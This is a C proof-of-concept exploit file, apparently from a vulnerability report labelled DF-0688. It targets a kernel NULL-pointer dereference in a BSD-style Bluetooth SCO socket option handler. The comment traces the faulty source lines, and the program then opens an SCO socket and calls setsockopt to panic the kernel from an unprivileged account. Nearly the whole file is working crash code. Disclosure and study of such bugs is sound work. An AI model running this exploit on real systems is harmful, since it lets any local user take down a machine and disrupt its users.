DF-0688 / sco_setsockopt_panic.c
/* * DF-0688 PoC — sco_ctloutput PRCO_SETOPT unconditional NULL deref. * * Mechanism (sys/netbt/sco_socket.c:123-135): * 124: m = m_get(M_WAITOK, MT_DATA); // m->m_len == 0 always * 125: soopt_to_kbuf(sopt, mtod(m,...), m->m_len, m->m_len); // copies 0 bytes * 127: if (m->m_len == 0) { // ALWAYS TRUE * 128: m_freem(m); m = NULL; err = EIO; * } // NO break/return * 133: err = sco_setopt(pcb, sopt->sopt_name, mtod(m, uint8_t *)); * // mtod(NULL, uint8_t*) == ((uint8_t*)((NULL)->m_data)) -> NULL deref * // => page fault / kernel panic on EVERY setsockopt() * * Trigger from an unprivileged user (once netbt.ko is loaded by an admin * setting up Bluetooth — analogous to mounting a filesystem image): * s = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO); * setsockopt(s, BTPROTO_SCO, <anyname>, &one, sizeof(one)); // panic * * No specific optname/value is required. The panic is unconditional. */ #include <sys/types.h> #include <sys/socket.h> #include <err.h> #include <stdio.h> #include <string.h> #include <unistd.h> #ifndef AF_BLUETOOTH #define AF_BLUETOOTH 33 #endif #ifndef BTPROTO_SCO #define BTPROTO_SCO 4 #endif int main(void) { int s, val = 1; socklen_t len = sizeof(val); s = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO); if (s < 0) err(1, "socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO)"); printf("[*] got SCO socket fd=%d; firing setsockopt (any name, any val)\n", s); fflush(stdout); /* * PRCO_SETOPT path is taken unconditionally for any setsockopt on a SCO * socket. The mbuf dance at sco_socket.c:124-130 leaves m==NULL, then * line 133 dereferences mtod(NULL,...) -> panic. */ if (setsockopt(s, BTPROTO_SCO, 0, &val, len) < 0) perror("[!] setsockopt returned (this should NOT happen if bug present)"); /* * If we reach here, the bug is NOT present (the kernel was fixed or * netbt.ko is not loaded / domain unavailable). */ printf("[+] reached end of main without panic -> bug NOT reproduced on this kernel\n"); close(s); return 0; } |